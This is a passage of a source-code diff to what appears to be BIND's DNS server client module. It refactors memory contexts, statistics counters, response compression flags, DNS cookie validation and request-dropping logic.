+		}
+	}
 	isc_nm_send(client->handle, &r, client_senddone, client);
 }
 
@@ -371,9 +449,8 @@ ns_client_sendraw(ns_client_t *client, dns_message_t *message) {
 	return;
 done:
 	if (client->tcpbuf != NULL) {
-		isc_mem_put(client->mctx, client->tcpbuf,
-			    NS_CLIENT_TCP_BUFFER_SIZE);
-		client->tcpbuf = NULL;
+		isc_mem_put(client->manager->send_mctx, client->tcpbuf,
+			    client->tcpbuf_size);
 	}
 
 	ns_client_drop(client, result);
@@ -386,6 +463,7 @@ ns_client_send(ns_client_t *client) {
 	isc_buffer_t buffer = { .magic = 0 };
 	isc_region_t r;
 	dns_compress_t cctx;
+	unsigned int compflags;
 	bool cleanup_cctx = false;
 	unsigned int render_opts;
 	unsigned int preferred_glue;
@@ -453,31 +531,28 @@ ns_client_send(ns_client_t *client) {
 	}
 
 	client_allocsendbuf(client, &buffer, &data);
-
-	result = dns_compress_init(&cctx, -1, client->mctx);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
+	compflags = 0;
 	if (client->peeraddr_valid && client->view != NULL) {
 		isc_netaddr_t netaddr;
 		dns_name_t *name = NULL;
 
 		isc_netaddr_fromsockaddr(&netaddr, &client->peeraddr);
 		if (client->message->tsigkey != NULL) {
-			name = &client->message->tsigkey->name;
+			name = client->message->tsigkey->name;
 		}
 
 		if (client->view->nocasecompress == NULL ||
 		    !dns_acl_allowed(&netaddr, name,
 				     client->view->nocasecompress, env))
 		{
-			dns_compress_setsensitive(&cctx, true);
+			compflags |= DNS_COMPRESS_CASE;
 		}
 
 		if (!client->view->msgcompression) {
-			dns_compress_disable(&cctx);
+			compflags = DNS_COMPRESS_DISABLED;
 		}
 	}
+	dns_compress_init(&cctx, client->manager->mctx, compflags);
 	cleanup_cctx = true;
 
 	result = dns_message_renderbegin(client->message, &cctx, &buffer);
@@ -550,8 +625,8 @@ ns_client_send(ns_client_t *client) {
 		dns_name_t *zo = dns_zone_getorigin(client->query.authzone);
 
 		isc_buffer_init(&b, zone, sizeof(zone));
-		dns_compress_setmethods(&cctx, DNS_COMPRESS_NONE);
-		eresult = dns_name_towire(zo, &cctx, &b);
+		dns_compress_setpermitted(&cctx, false);
+		eresult = dns_name_towire(zo, &cctx, &b, NULL);
 		if (eresult == ISC_R_SUCCESS) {
 			isc_buffer_usedregion(&b, &zr);
 		}
@@ -588,16 +663,15 @@ ns_client_send(ns_client_t *client) {
 
 		switch (isc_sockaddr_pf(&client->peeraddr)) {
 		case AF_INET:
-			isc_stats_increment(client->sctx->tcpoutstats4,
-					    ISC_MIN((int)respsize / 16, 256));
+			isc_histomulti_inc(client->manager->sctx->tcpoutstats4,
+					   DNS_SIZEHISTO_BUCKETOUT(respsize));
 			break;
 		case AF_INET6:
-			isc_stats_increment(client->sctx->tcpoutstats6,
-					    ISC_MIN((int)respsize / 16, 256));
+			isc_histomulti_inc(client->manager->sctx->tcpoutstats6,
+					   DNS_SIZEHISTO_BUCKETOUT(respsize));
 			break;
 		default:
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 	} else {
 #ifdef HAVE_DNSTAP
@@ -618,38 +692,38 @@ ns_client_send(ns_client_t *client) {
 
 		switch (isc_sockaddr_pf(&client->peeraddr)) {
 		case AF_INET:
-			isc_stats_increment(client->sctx->udpoutstats4,
-					    ISC_MIN((int)respsize / 16, 256));
+			isc_histomulti_inc(client->manager->sctx->udpoutstats4,
+					   DNS_SIZEHISTO_BUCKETOUT(respsize));
 			break;
 		case AF_INET6:
-			isc_stats_increment(client->sctx->udpoutstats6,
-					    ISC_MIN((int)respsize / 16, 256));
+			isc_histomulti_inc(client->manager->sctx->udpoutstats6,
+					   DNS_SIZEHISTO_BUCKETOUT(respsize));
 			break;
 		default:
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 	}
 
 	/* update statistics (XXXJT: is it okay to access message->xxxkey?) */
-	ns_stats_increment(client->sctx->nsstats, ns_statscounter_response);
+	ns_stats_increment(client->manager->sctx->nsstats,
+			   ns_statscounter_response);
 
-	dns_rcodestats_increment(client->sctx->rcodestats,
+	dns_rcodestats_increment(client->manager->sctx->rcodestats,
 				 client->message->rcode);
 	if (opt_included) {
-		ns_stats_increment(client->sctx->nsstats,
+		ns_stats_increment(client->manager->sctx->nsstats,
 				   ns_statscounter_edns0out);
 	}
 	if (client->message->tsigkey != NULL) {
-		ns_stats_increment(client->sctx->nsstats,
+		ns_stats_increment(client->manager->sctx->nsstats,
 				   ns_statscounter_tsigout);
 	}
 	if (client->message->sig0key != NULL) {
-		ns_stats_increment(client->sctx->nsstats,
+		ns_stats_increment(client->manager->sctx->nsstats,
 				   ns_statscounter_sig0out);
 	}
 	if ((client->message->flags & DNS_MESSAGEFLAG_TC) != 0) {
-		ns_stats_increment(client->sctx->nsstats,
+		ns_stats_increment(client->manager->sctx->nsstats,
 				   ns_statscounter_truncatedresp);
 	}
 
@@ -659,9 +733,8 @@ ns_client_send(ns_client_t *client) {
 
 cleanup:
 	if (client->tcpbuf != NULL) {
-		isc_mem_put(client->mctx, client->tcpbuf,
-			    NS_CLIENT_TCP_BUFFER_SIZE);
-		client->tcpbuf = NULL;
+		isc_mem_put(client->manager->send_mctx, client->tcpbuf,
+			    client->tcpbuf_size);
 	}
 
 	if (cleanup_cctx) {
@@ -699,8 +772,9 @@ ns_client_dropport(in_port_t port) {
 
 void
 ns_client_error(ns_client_t *client, isc_result_t result) {
+	dns_message_t *message = NULL;
 	dns_rcode_t rcode;
-	dns_message_t *message;
+	bool trunc = false;
 
 	REQUIRE(NS_CLIENT_VALID(client));
 
@@ -714,6 +788,10 @@ ns_client_error(ns_client_t *client, isc_result_t result) {
 		rcode = (dns_rcode_t)(client->rcode_override & 0xfff);
 	}
 
+	if (result == ISC_R_MAXSIZE) {
+		trunc = true;
+	}
+
 #if NS_CLIENT_DROPPORT
 	/*
 	 * Don't send FORMERR to ports on the drop port list.
@@ -747,18 +825,19 @@ ns_client_error(ns_client_t *client, isc_result_t result) {
 		dns_rrl_result_t rrl_result;
 		int loglevel;
 
-		INSIST(rcode != dns_rcode_noerror &&
-		       rcode != dns_rcode_nxdomain);
-		if ((client->sctx->options & NS_SERVER_LOGQUERIES) != 0) {
+		if ((client->manager->sctx->options & NS_SERVER_LOGQUERIES) !=
+		    0)
+		{
 			loglevel = DNS_RRL_LOG_DROP;
 		} else {
 			loglevel = ISC_LOG_DEBUG(1);
 		}
 		wouldlog = isc_log_wouldlog(ns_lctx, loglevel);
-		rrl_result = dns_rrl(
-			client->view, &client->peeraddr, TCP_CLIENT(client),
-			dns_rdataclass_in, dns_rdatatype_none, NULL, result,
-			client->now, wouldlog, log_buf, sizeof(log_buf));
+		rrl_result = dns_rrl(client->view, NULL, &client->peeraddr,
+				     TCP_CLIENT(client), dns_rdataclass_in,
+				     dns_rdatatype_none, NULL, result,
+				     client->now, wouldlog, log_buf,
+				     sizeof(log_buf));
 		if (rrl_result != DNS_RRL_RESULT_OK) {
 			/*
 			 * Log dropped errors in the query category
@@ -777,10 +856,12 @@ ns_client_error(ns_client_t *client, isc_result_t result) {
 			 * so don't try to slip any error responses.
 			 */
 			if (!client->view->rrl->log_only) {
-				ns_stats_increment(client->sctx->nsstats,
-						   ns_statscounter_ratedropped);
-				ns_stats_increment(client->sctx->nsstats,
-						   ns_statscounter_dropped);
+				ns_stats_increment(
+					client->manager->sctx->nsstats,
+					ns_statscounter_ratedropped);
+				ns_stats_increment(
+					client->manager->sctx->nsstats,
+					ns_statscounter_dropped);
 				ns_client_drop(client, DNS_R_DROP);
 				return;
 			}
@@ -810,7 +891,11 @@ ns_client_error(ns_client_t *client, isc_result_t result) {
 			return;
 		}
 	}
+
 	message->rcode = rcode;
+	if (trunc) {
+		message->flags |= DNS_MESSAGEFLAG_TC;
+	}
 
 	if (rcode == dns_rcode_formerr) {
 		/*
@@ -858,9 +943,10 @@ ns_client_error(ns_client_t *client, isc_result_t result) {
 		isc_interval_set(&i, client->view->fail_ttl, 0);
 		result = isc_time_nowplusinterval(&expire, &i);
 		if (result == ISC_R_SUCCESS) {
-			dns_badcache_add(
-				client->view->failcache, client->query.qname,
-				client->query.qtype, true, flags, &expire);
+			dns_badcache_add(client->view->failcache,
+					 client->query.qname,
+					 client->query.qtype, true, flags,
+					 isc_time_seconds(&expire));
 		}
 	}
 
@@ -871,11 +957,10 @@ isc_result_t
 ns_client_addopt(ns_client_t *client, dns_message_t *message,
 		 dns_rdataset_t **opt) {
 	unsigned char ecs[ECS_SIZE];
-	char nsid[BUFSIZ], *nsidp = NULL;
+	char nsid[_POSIX_HOST_NAME_MAX + 1], *nsidp = NULL;
 	unsigned char cookie[COOKIE_SIZE];
 	isc_result_t result;
 	dns_view_t *view = NULL;
-	dns_resolver_t *resolver = NULL;
 	uint16_t udpsize;
 	dns_ednsopt_t ednsopts[DNS_EDNSOPTIONS];
 	int count = 0;
@@ -890,22 +975,20 @@ ns_client_addopt(ns_client_t *client, dns_message_t *message,
 
 	env = client->manager->aclenv;
 	view = client->view;
-	resolver = (view != NULL) ? view->resolver : NULL;
-	if (resolver != NULL) {
-		udpsize = dns_resolver_getudpsize(resolver);
+	if (view != NULL) {
+		udpsize = dns_view_getudpsize(view);
 	} else {
-		udpsize = client->sctx->udpsize;
+		udpsize = client->manager->sctx->udpsize;
 	}
 
 	flags = client->extflags & DNS_MESSAGEEXTFLAG_REPLYPRESERVE;
 
 	/* Set EDNS options if applicable */
 	if (WANTNSID(client)) {
-		if (client->sctx->server_id != NULL) {
-			nsidp = client->sctx->server_id;
-		} else if (client->sctx->gethostname != NULL) {
-			result = client->sctx->gethostname(nsid, sizeof(nsid));
-			if (result != ISC_R_SUCCESS) {
+		if (client->manager->sctx->server_id != NULL) {
+			nsidp = client->manager->sctx->server_id;
+		} else if (client->manager->sctx->usehostname) {
+			if (gethostname(nsid, sizeof(nsid)) != 0) {
 				goto no_nsid;
 			}
 			nsidp = nsid;
@@ -922,15 +1005,15 @@ ns_client_addopt(ns_client_t *client, dns_message_t *message,
 no_nsid:
 	if ((client->attributes & NS_CLIENTATTR_WANTCOOKIE) != 0) {
 		isc_buffer_t buf;
-		isc_stdtime_t now;
+		isc_stdtime_t now = isc_stdtime_now();
 		uint32_t nonce;
 
 		isc_buffer_init(&buf, cookie, sizeof(cookie));
-		isc_stdtime_get(&now);
 
 		isc_random_buf(&nonce, sizeof(nonce));
 
-		compute_cookie(client, now, nonce, client->sctx->secret, &buf);
+		compute_cookie(client, now, nonce,
+			       client->manager->sctx->secret, &buf);
 
 		INSIST(count < DNS_EDNSOPTIONS);
 		ednsopts[count].code = DNS_OPT_COOKIE;
@@ -983,8 +1066,7 @@ ns_client_addopt(ns_client_t *client, dns_message_t *message,
 			memmove(addr, &client->ecs.addr.type, addrl);
 			break;
 		default:
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 
 		isc_buffer_init(&buf, ecs, sizeof(ecs));
@@ -1001,7 +1083,7 @@ ns_client_addopt(ns_client_t *client, dns_message_t *message,
 			if ((plen % 8) != 0) {
 				addr[addrl - 1] &= ~0U << (8 - (plen % 8));
 			}
-			isc_buffer_putmem(&buf, addr, (unsigned)addrl);
+			isc_buffer_putmem(&buf, addr, (unsigned int)addrl);
 		}
 
 		ednsopts[count].code = DNS_OPT_CLIENT_SUBNET;
@@ -1026,6 +1108,14 @@ ns_client_addopt(ns_client_t *client, dns_message_t *message,
 		count++;
 	}
 
+	if (client->ede != NULL) {
+		INSIST(count < DNS_EDNSOPTIONS);
+		ednsopts[count].code = DNS_OPT_EDE;
+		ednsopts[count].length = client->ede->length;
+		ednsopts[count].value = client->ede->value;
+		count++;
+	}
+
 	/* Padding must be added last */
 	if ((view != NULL) && (view->padding > 0) && WANTPAD(client) &&
 	    (TCP_CLIENT(client) ||
@@ -1058,30 +1148,25 @@ static void
 compute_cookie(ns_client_t *client, uint32_t when, uint32_t nonce,
 	       const unsigned char *secret, isc_buffer_t *buf) {
 	unsigned char digest[ISC_MAX_MD_SIZE] ISC_NONSTRING = { 0 };
-	STATIC_ASSERT(ISC_MAX_MD_SIZE >= ISC_SIPHASH24_TAG_LENGTH, "You need "
-								   "to "
-								   "increase "
-								   "the digest "
-								   "buffer.");
-	STATIC_ASSERT(ISC_MAX_MD_SIZE >= ISC_AES_BLOCK_LENGTH, "You need to "
-							       "increase the "
-							       "digest "
-							       "buffer.");
-
-	switch (client->sctx->cookiealg) {
+	STATIC_ASSERT(ISC_MAX_MD_SIZE >= ISC_SIPHASH24_TAG_LENGTH,
+		      "You need to increase the digest buffer.");
+	STATIC_ASSERT(ISC_MAX_MD_SIZE >= ISC_AES_BLOCK_LENGTH,
+		      "You need to increase the digest buffer.");
+
+	switch (client->manager->sctx->cookiealg) {
 	case ns_cookiealg_siphash24: {
 		unsigned char input[16 + 16] ISC_NONSTRING = { 0 };
 		size_t inputlen = 0;
 		isc_netaddr_t netaddr;
 		unsigned char *cp;
 
-		cp = isc_buffer_used(buf);
 		isc_buffer_putmem(buf, client->cookie, 8);
 		isc_buffer_putuint8(buf, NS_COOKIE_VERSION_1);
-		isc_buffer_putuint24(buf, 0); /* Reserved */
+		isc_buffer_putuint8(buf, 0);  /* Reserved */
+		isc_buffer_putuint16(buf, 0); /* Reserved */
 		isc_buffer_putuint32(buf, when);
 
-		memmove(input, cp, 16);
+		memmove(input, (unsigned char *)isc_buffer_used(buf) - 16, 16);
 
 		isc_netaddr_fromsockaddr(&netaddr, &client->peeraddr);
 		switch (netaddr.family) {
@@ -1096,11 +1181,10 @@ compute_cookie(ns_client_t *client, uint32_t when, uint32_t nonce,
 			inputlen = 32;
 			break;
 		default:
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 
-		isc_siphash24(secret, input, inputlen, digest);
+		isc_siphash24(secret, input, inputlen, true, digest);
 		isc_buffer_putmem(buf, digest, 8);
 		break;
 	}
@@ -1110,11 +1194,10 @@ compute_cookie(ns_client_t *client, uint32_t when, uint32_t nonce,
 		unsigned char *cp;
 		unsigned int i;
 
-		cp = isc_buffer_used(buf);
 		isc_buffer_putmem(buf, client->cookie, 8);
 		isc_buffer_putuint32(buf, nonce);
 		isc_buffer_putuint32(buf, when);
-		memmove(input, cp, 16);
+		memmove(input, (unsigned char *)isc_buffer_used(buf) - 16, 16);
 		isc_aes128_crypt(secret, input, digest);
 		for (i = 0; i < 8; i++) {
 			input[i] = digest[i] ^ digest[i + 8];
@@ -1134,12 +1217,11 @@ compute_cookie(ns_client_t *client, uint32_t when, uint32_t nonce,
 			for (i = 0; i < 8; i++) {
 				input[i + 8] = digest[i] ^ digest[i + 8];
 			}
-			isc_aes128_crypt(client->sctx->secret, input + 8,
-					 digest);
+			isc_aes128_crypt(client->manager->sctx->secret,
+					 input + 8, digest);
 			break;
 		default:
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 		for (i = 0; i < 8; i++) {
 			digest[i] ^= digest[i + 8];
@@ -1149,8 +1231,7 @@ compute_cookie(ns_client_t *client, uint32_t when, uint32_t nonce,
 	}
 
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 }
 
@@ -1167,7 +1248,7 @@ process_cookie(ns_client_t *client, isc_buffer_t *buf, size_t optlen) {
 	/*
 	 * If we have already seen a cookie option skip this cookie option.
 	 */
-	if ((!client->sctx->answercookie) ||
+	if ((!client->manager->sctx->answercookie) ||
 	    (client->attributes & NS_CLIENTATTR_WANTCOOKIE) != 0)
 	{
 		isc_buffer_forward(buf, (unsigned int)optlen);
@@ -1176,7 +1257,8 @@ process_cookie(ns_client_t *client, isc_buffer_t *buf, size_t optlen) {
 
 	client->attributes |= NS_CLIENTATTR_WANTCOOKIE;
 
-	ns_stats_increment(client->sctx->nsstats, ns_statscounter_cookiein);
+	ns_stats_increment(client->manager->sctx->nsstats,
+			   ns_statscounter_cookiein);
 
 	if (optlen != COOKIE_SIZE) {
 		/*
@@ -1187,11 +1269,12 @@ process_cookie(ns_client_t *client, isc_buffer_t *buf, size_t optlen) {
 		isc_buffer_forward(buf, (unsigned int)optlen);
 
 		if (optlen == 8U) {
-			ns_stats_increment(client->sctx->nsstats,
+			ns_stats_increment(client->manager->sctx->nsstats,
 					   ns_statscounter_cookienew);
 		} else {
-			ns_stats_increment(client->sctx->nsstats,
+			ns_stats_increment(client->manager->sctx->nsstats,
 					   ns_statscounter_cookiebadsize);
+			client->attributes |= NS_CLIENTATTR_BADCOOKIE;
 		}
 		return;
 	}
@@ -1210,39 +1293,41 @@ process_cookie(ns_client_t *client, isc_buffer_t *buf, size_t optlen) {
 	 * Allow for a 5 minute clock skew between servers sharing a secret.
 	 * Only accept COOKIE if we have talked to the client in the last hour.
 	 */
-	isc_stdtime_get(&now);
-	if (isc_serial_gt(when, (now + 300)) || /* In the future. */
-	    isc_serial_lt(when, (now - 3600)))
-	{ /* In the past. */
-		ns_stats_increment(client->sctx->nsstats,
+	now = isc_stdtime_now();
+	if (isc_serial_gt(when, (now + 300)) /* In the future. */ ||
+	    isc_serial_lt(when, (now - 3600)) /* In the past. */)
+	{
+		client->attributes |= NS_CLIENTATTR_BADCOOKIE;
+		ns_stats_increment(client->manager->sctx->nsstats,
 				   ns_statscounter_cookiebadtime);
 		return;
 	}
 
 	isc_buffer_init(&db, dbuf, sizeof(dbuf));
-	compute_cookie(client, when, nonce, client->sctx->secret, &db);
+	compute_cookie(client, when, nonce, client->manager->sctx->secret, &db);
 
 	if (isc_safe_memequal(old, dbuf, COOKIE_SIZE)) {
-		ns_stats_increment(client->sctx->nsstats,
+		ns_stats_increment(client->manager->sctx->nsstats,
 				   ns_statscounter_cookiematch);
 		client->attributes |= NS_CLIENTATTR_HAVECOOKIE;
 		return;
 	}
 
-	for (altsecret = ISC_LIST_HEAD(client->sctx->altsecrets);
+	for (altsecret = ISC_LIST_HEAD(client->manager->sctx->altsecrets);
 	     altsecret != NULL; altsecret = ISC_LIST_NEXT(altsecret, link))
 	{
 		isc_buffer_init(&db, dbuf, sizeof(dbuf));
 		compute_cookie(client, when, nonce, altsecret->secret, &db);
 		if (isc_safe_memequal(old, dbuf, COOKIE_SIZE)) {
-			ns_stats_increment(client->sctx->nsstats,
+			ns_stats_increment(client->manager->sctx->nsstats,
 					   ns_statscounter_cookiematch);
 			client->attributes |= NS_CLIENTATTR_HAVECOOKIE;
 			return;
 		}
 	}
 
-	ns_stats_increment(client->sctx->nsstats,
+	client->attributes |= NS_CLIENTATTR_BADCOOKIE;
+	ns_stats_increment(client->manager->sctx->nsstats,
 			   ns_statscounter_cookienomatch);
 }
 
@@ -1349,9 +1434,7 @@ process_ecs(ns_client_t *client, isc_buffer_t *buf, size_t optlen) {
 
 		if ((addrlen % 8) != 0) {
 			uint8_t bits = ~0U << (8 - (addrlen % 8));
-			/* cppcheck-suppress objectIndex */
 			bits &= paddr[addrbytes - 1];
-			/* cppcheck-suppress objectIndex */
 			if (bits != paddr[addrbytes - 1]) {
 				return (DNS_R_OPTERR);
 			}
@@ -1380,7 +1463,7 @@ process_keytag(ns_client_t *client, isc_buffer_t *buf, size_t optlen) {
 		return (ISC_R_SUCCESS);
 	}
 
-	client->keytag = isc_mem_get(client->mctx, optlen);
+	client->keytag = isc_mem_get(client->manager->mctx, optlen);
 	{
 		client->keytag_len = (uint16_t)optlen;
 		memmove(client->keytag, isc_buffer_current(buf), optlen);
@@ -1422,7 +1505,7 @@ process_opt(ns_client_t *client, dns_rdataset_t *opt) {
 	 */
 	client->ednsversion = (opt->ttl & 0x00FF0000) >> 16;
 	if (client->ednsversion > DNS_EDNS_VERSION) {
-		ns_stats_increment(client->sctx->nsstats,
+		ns_stats_increment(client->manager->sctx->nsstats,
 				   ns_statscounter_badednsver);
 		result = ns_client_addopt(client, client->message,
 					  &client->opt);
@@ -1447,7 +1530,7 @@ process_opt(ns_client_t *client, dns_rdataset_t *opt) {
 			case DNS_OPT_NSID:
 				if (!WANTNSID(client)) {
 					ns_stats_increment(
-						client->sctx->nsstats,
+						client->manager->sctx->nsstats,
 						ns_statscounter_nsidopt);
 				}
 				client->attributes |= NS_CLIENTATTR_WANTNSID;
@@ -1459,7 +1542,7 @@ process_opt(ns_client_t *client, dns_rdataset_t *opt) {
 			case DNS_OPT_EXPIRE:
 				if (!WANTEXPIRE(client)) {
 					ns_stats_increment(
-						client->sctx->nsstats,
+						client->manager->sctx->nsstats,
 						ns_statscounter_expireopt);
 				}
 				client->attributes |= NS_CLIENTATTR_WANTEXPIRE;
@@ -1471,23 +1554,26 @@ process_opt(ns_client_t *client, dns_rdataset_t *opt) {
 					ns_client_error(client, result);
 					return (result);
 				}
-				ns_stats_increment(client->sctx->nsstats,
-						   ns_statscounter_ecsopt);
+				ns_stats_increment(
+					client->manager->sctx->nsstats,
+					ns_statscounter_ecsopt);
 				break;
 			case DNS_OPT_TCP_KEEPALIVE:
 				if (!USEKEEPALIVE(client)) {
 					ns_stats_increment(
-						client->sctx->nsstats,
+						client->manager->sctx->nsstats,
 						ns_statscounter_keepaliveopt);
 				}
 				client->attributes |=
 					NS_CLIENTATTR_USEKEEPALIVE;
+				isc_nmhandle_keepalive(client->handle, true);
 				isc_buffer_forward(&optbuf, optlen);
 				break;
 			case DNS_OPT_PAD:
 				client->attributes |= NS_CLIENTATTR_WANTPAD;
-				ns_stats_increment(client->sctx->nsstats,
-						   ns_statscounter_padopt);
+				ns_stats_increment(
+					client->manager->sctx->nsstats,
+					ns_statscounter_padopt);
 				isc_buffer_forward(&optbuf, optlen);
 				break;
 			case DNS_OPT_KEY_TAG:
@@ -1497,19 +1583,22 @@ process_opt(ns_client_t *client, dns_rdataset_t *opt) {
 					ns_client_error(client, result);
 					return (result);
 				}
-				ns_stats_increment(client->sctx->nsstats,
-						   ns_statscounter_keytagopt);
+				ns_stats_increment(
+					client->manager->sctx->nsstats,
+					ns_statscounter_keytagopt);
 				break;
 			default:
-				ns_stats_increment(client->sctx->nsstats,
-						   ns_statscounter_otheropt);
+				ns_stats_increment(
+					client->manager->sctx->nsstats,
+					ns_statscounter_otheropt);
 				isc_buffer_forward(&optbuf, optlen);
 				break;
 			}
 		}
 	}
 
-	ns_stats_increment(client->sctx->nsstats, ns_statscounter_edns0in);
+	ns_stats_increment(client->manager->sctx->nsstats,
+			   ns_statscounter_edns0in);
 	client->attributes |= NS_CLIENTATTR_WANTOPT;
 
 	return (result);
@@ -1532,17 +1621,17 @@ ns__client_reset_cb(void *client0) {
 
 	ns_client_endrequest(client);
 	if (client->tcpbuf != NULL) {
-		isc_mem_put(client->mctx, client->tcpbuf,
-			    NS_CLIENT_TCP_BUFFER_SIZE);
+		isc_mem_put(client->manager->send_mctx, client->tcpbuf,
+			    client->tcpbuf_size);
 	}
 
 	if (client->keytag != NULL) {
-		isc_mem_put(client->mctx, client->keytag, client->keytag_len);
+		isc_mem_put(client->manager->mctx, client->keytag,
+			    client->keytag_len);
 		client->keytag_len = 0;
 	}
 
 	client->state = NS_CLIENTSTATE_READY;
-	INSIST(client->recursionquota == NULL);
 
 #ifdef WANT_SINGLETRACE
 	isc_log_setforcelog(false);
@@ -1552,6 +1641,11 @@ ns__client_reset_cb(void *client0) {
 void
 ns__client_put_cb(void *client0) {
 	ns_client_t *client = client0;
+	ns_clientmgr_t *manager = NULL;
+
+	REQUIRE(NS_CLIENT_VALID(client));
+
+	manager = client->manager;
 
 	ns_client_log(client, DNS_LOGCATEGORY_SECURITY, NS_LOGMODULE_CLIENT,
 		      ISC_LOG_DEBUG(3), "freeing client");
@@ -1560,11 +1654,12 @@ ns__client_put_cb(void *client0) {
 	 * Call this first because it requires a valid client.
 	 */
 	ns_query_free(client);
+	client_extendederror_reset(client);
 
 	client->magic = 0;
-	client->shuttingdown = true;
 
-	isc_mem_put(client->mctx, client->sendbuf, NS_CLIENT_SEND_BUFFER_SIZE);
+	isc_mem_put(manager->send_mctx, client->sendbuf,
+		    NS_CLIENT_SEND_BUFFER_SIZE);
 	if (client->opt != NULL) {
 		INSIST(dns_rdataset_isassociated(client->opt));
 		dns_rdataset_disassociate(client->opt);
@@ -1573,30 +1668,15 @@ ns__client_put_cb(void *client0) {
 
 	dns_message_detach(&client->message);
 
-	if (client->manager != NULL) {
-		clientmgr_detach(&client->manager);
-	}
-
-	/*
-	 * Detaching the task must be done after unlinking from
-	 * the manager's lists because the manager accesses
-	 * client->task.
-	 */
-	if (client->task != NULL) {
-		isc_task_detach(&client->task);
-	}
-
 	/*
 	 * Destroy the fetchlock mutex that was created in
 	 * ns_query_init().
 	 */
 	isc_mutex_destroy(&client->query.fetchlock);
 
-	if (client->sctx != NULL) {
-		ns_server_detach(&client->sctx);
-	}
+	isc_mem_put(manager->mctx, client, sizeof(*client));
 
-	isc_mem_detach(&client->mctx);
+	ns_clientmgr_detach(&manager);
 }
 
 /*
@@ -1604,8 +1684,8 @@ ns__client_put_cb(void *client0) {
  * or tcpmsg (TCP case).
  */
 void
-ns__client_request(isc_nmhandle_t *handle, isc_result_t eresult,
-		   isc_region_t *region, void *arg) {
+ns_client_request(isc_nmhandle_t *handle, isc_result_t eresult,
+		  isc_region_t *region, void *arg) {
 	ns_client_t *client = NULL;
 	isc_result_t result;
 	isc_result_t sigresult = ISC_R_SUCCESS;
@@ -1621,10 +1701,27 @@ ns__client_request(isc_nmhandle_t *handle, isc_result_t eresult,
 	bool notimp;
 	size_t reqsize;
 	dns_aclenv_t *env = NULL;
-	isc_sockaddr_t sockaddr;
 #ifdef HAVE_DNSTAP
 	dns_dtmsgtype_t dtmsgtype;
 #endif /* ifdef HAVE_DNSTAP */
+	static const char *ra_reasons[] = {
+		"ACLs not processed yet",
+		"no resolver in view",
+		"recursion not enabled for view",
+		"allow-recursion did not match",
+		"allow-query-cache did not match",
+		"allow-recursion-on did not match",
+		"allow-query-cache-on did not match",
+	};
+	enum refusal_reasons {
+		INVALID,
+		NO_RESOLVER,
+		RECURSION_DISABLED,
+		ALLOW_RECURSION,
+		ALLOW_QUERY_CACHE,
+		ALLOW_RECURSION_ON,
+		ALLOW_QUERY_CACHE_ON
+	} ra_refusal_reason = INVALID;
 
 	if (eresult != ISC_R_SUCCESS) {
 		return;
@@ -1637,8 +1734,9 @@ ns__client_request(isc_nmhandle_t *handle, isc_result_t eresult,
 			ns_interfacemgr_getclientmgr(ifp->mgr);
 
 		INSIST(VALID_MANAGER(clientmgr));
+		INSIST(clientmgr->tid == isc_tid());
 
-		client = isc_nmhandle_getextra(handle);
+		client = isc_mem_get(clientmgr->mctx, sizeof(*client));
 
 		result = ns__client_setup(client, clientmgr, true);
 		if (result != ISC_R_SUCCESS) {
@@ -1667,8 +1765,6 @@ ns__client_request(isc_nmhandle_t *handle, isc_result_t eresult,
 		client->attributes |= NS_CLIENTATTR_TCP;
 	}
 
-	INSIST(client->recursionquota == NULL);
-
 	INSIST(client->state == NS_CLIENTSTATE_READY);
 
 	(void)atomic_fetch_add_relaxed(&ns_client_requests, 1);
@@ -1684,7 +1780,7 @@ ns__client_request(isc_nmhandle_t *handle, isc_result_t eresult,
 
 	client->state = NS_CLIENTSTATE_WORKING;
 
-	TIME_NOW(&client->requesttime);
+	client->requesttime = isc_time_now();
 	client->tnow = client->requesttime;
 	client->now = isc_time_seconds(&client->tnow);
 
@@ -1697,19 +1793,21 @@ ns__client_request(isc_nmhandle_t *handle, isc_result_t eresult,
 		ns_client_log(client, DNS_LOGCATEGORY_SECURITY,
 			      NS_LOGMODULE_CLIENT, ISC_LOG_DEBUG(10),
 			      "dropped request: suspicious port");
+		isc_nm_bad_request(handle);
 		return;
 	}
 #endif /* if NS_CLIENT_DROPPORT */
 
 	env = client->manager->aclenv;
-	if (client->sctx->blackholeacl != NULL &&
-	    (dns_acl_match(&netaddr, NULL, client->sctx->blackholeacl, env,
-			   &match, NULL) == ISC_R_SUCCESS) &&
+	if (client->manager->sctx->blackholeacl != NULL &&
+	    (dns_acl_match(&netaddr, NULL, client->manager->sctx->blackholeacl,
+			   env, &match, NULL) == ISC_R_SUCCESS) &&
 	    match > 0)
 	{
 		ns_client_log(client, DNS_LOGCATEGORY_SECURITY,
 			      NS_LOGMODULE_CLIENT, ISC_LOG_DEBUG(10),
 			      "dropped request: blackholed peer");
+		isc_nm_bad_request(handle);
 		return;
 	}
 
@@ -1723,6 +1821,10 @@ ns__client_request(isc_nmhandle_t *handle, isc_result_t eresult,
 		 * There isn't enough header to determine whether
 		 * this was a request or a response.  Drop it.
 		 */
+		ns_client_log(client, DNS_LOGCATEGORY_SECURITY,
+			      NS_LOGMODULE_CLIENT, ISC_LOG_DEBUG(10),
+			      "dropped request: invalid message header");
+		isc_nm_bad_request(handle);
 		return;
 	}
 
@@ -1738,7 +1840,10 @@ ns__client_request(isc_nmhandle_t *handle, isc_result_t eresult,
 	 * If it's a TCP response, discard it here.
 	 */
 	if ((flags & DNS_MESSAGEFLAG_QR) != 0) {
-		CTRACE("unexpected response");
+		ns_client_log(client, DNS_LOGCATEGORY_SECURITY,
+			      NS_LOGMODULE_CLIENT, ISC_LOG_DEBUG(10),
+			      "dropped request: unexpected response");
+		isc_nm_bad_request(handle);
 		return;
 	}
 
@@ -1746,41 +1851,39 @@ ns__client_request(isc_nmhandle_t *handle, isc_result_t eresult,
 	 * Update some statistics counters.  Don't count responses.
 	 */
 	if (isc_sockaddr_pf(&client->peeraddr) == PF_INET) {
-		ns_stats_increment(client->sctx->nsstats,
+		ns_stats_increment(client->manager->sctx->nsstats,
 				   ns_statscounter_requestv4);
 	} else {
-		ns_stats_increment(client->sctx->nsstats,
+		ns_stats_increment(client->manager->sctx->nsstats,
